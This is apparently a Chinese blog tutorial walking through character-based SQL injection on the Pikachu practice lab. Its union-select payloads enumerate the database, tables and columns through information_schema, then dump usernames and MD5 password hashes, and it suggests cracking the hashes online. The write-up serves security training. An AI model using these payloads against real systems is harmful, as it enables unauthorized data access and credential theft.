pikachu如何利用字符型SQL注入拿下数据库

目录 

 前言

  • 一、了解SQL查询语句
  • 二、解题思路
  • 三、操作步骤
    • 1.用order by获取主查询的字段数
    • 2.获取数据库名
    • 3.获取表名
    • 4.获取列名
    • 5.获取内容
  • 总结

前言

前面我们利用语句:a' or 1=1#  获取了其他用户的邮箱信息,接下来我们用联合查询拿下数据库

一、了解SQL查询语句

数据库是通过许多表来存放数据的,一个个表相互嵌套构成了数据库,类似文件夹。如图:

 SQL查询一般语法是:select 字段 from 表名 where...

 例如我们查询student表中age=7的学生的名字和年级:

select name,grade from student where age=7

 会得到:

 再如查询小刚的年级: select grade from School.student where name='小刚’

联合查询语句:select 字段 from 表名 where ... union select 字段 from 表名 where ...     

注意:联合查询的字段数和主字段数要一致。

SQL注入就是构造合法语句拼接到数据库SQL主语句中让其被执行。

二、解题思路

用order by获取主查询的字段数--->获取数据库名--->获取表名--->获取字段名--->查询字段内容

order by 字段1: 意思是根据字段1进行排序。如果没有这个字段会报错,根据这个可以知道主查询字段数,这样才能利用联合查询获取其他信息。(要用二分法多试几次)

获取数据库名用:database() 这个函数,查询版本用:version() 

在mysql中,自带的information_schema这个数据库里面存放了大量的重要信息。information_shcema存放了tables表、columns表等。

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。(schema的中文意思是模式,在MySQL里可以理解为数据库)

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。(column的中文意思是:列,专栏)

三、操作步骤

1.用order by获取主查询的字段数

输入:

a' order by 3 #

 (意思是:根据第3列排序)结果如下:

 说明该列不存在,那我们试输入:a' order by 2#    结果如下:

 两次结果不一样,可以知道主查询有两个字段。且我们可以猜测主查询SQL语句是:

select id,email from 某个表 where id='变量’

2.获取数据库名

输入:

a' union select database(),version()# 

  结果如下:

 可知:数据库名是pikachu ,版本是5.7.26

3.获取表名

输入:

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

(意思是:使用联合查询,从information_schema.tables表里查询table_schema和table_name这两个字段的内容,过滤条件是table_schema='pikachu')结果如下:

 从结果我们可知:pikachu数据库里有 httpinfo、member、message、users、xssblind这五个表,且我们可以猜测管理员的账号密码可能放在users这个表里。

4.获取列名

输入:

a' union select table_name,column_name from information_schema.columns where table_name='users'#

结果如下:

 从结果我们可以看到有两个重要字段(列):username、password,即账号和密码

5.获取内容

从前面的操作中我们知道:在users表中有username,password这两个列,接下来我们只用从表中查询列的内容就行了。

输入:

a' union select username,password from users#

结果如下:

 得到了三个账号,而其密码作了加密处理。根据密文长度(有32位)可以推测是用了MD5加密算法进行了加密。我们可以直接百度搜索MD5解密,利用在线工具解密。以test的密文为例

 

 总结

本实验中,我们获取账号密码数据的过程可以看作找名字的过程,我们是先获取数据库的名字,接着在这个数据库里查询都有什么表,再查询敏感表里有什么敏感字段,最后再查询字段里的内容。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值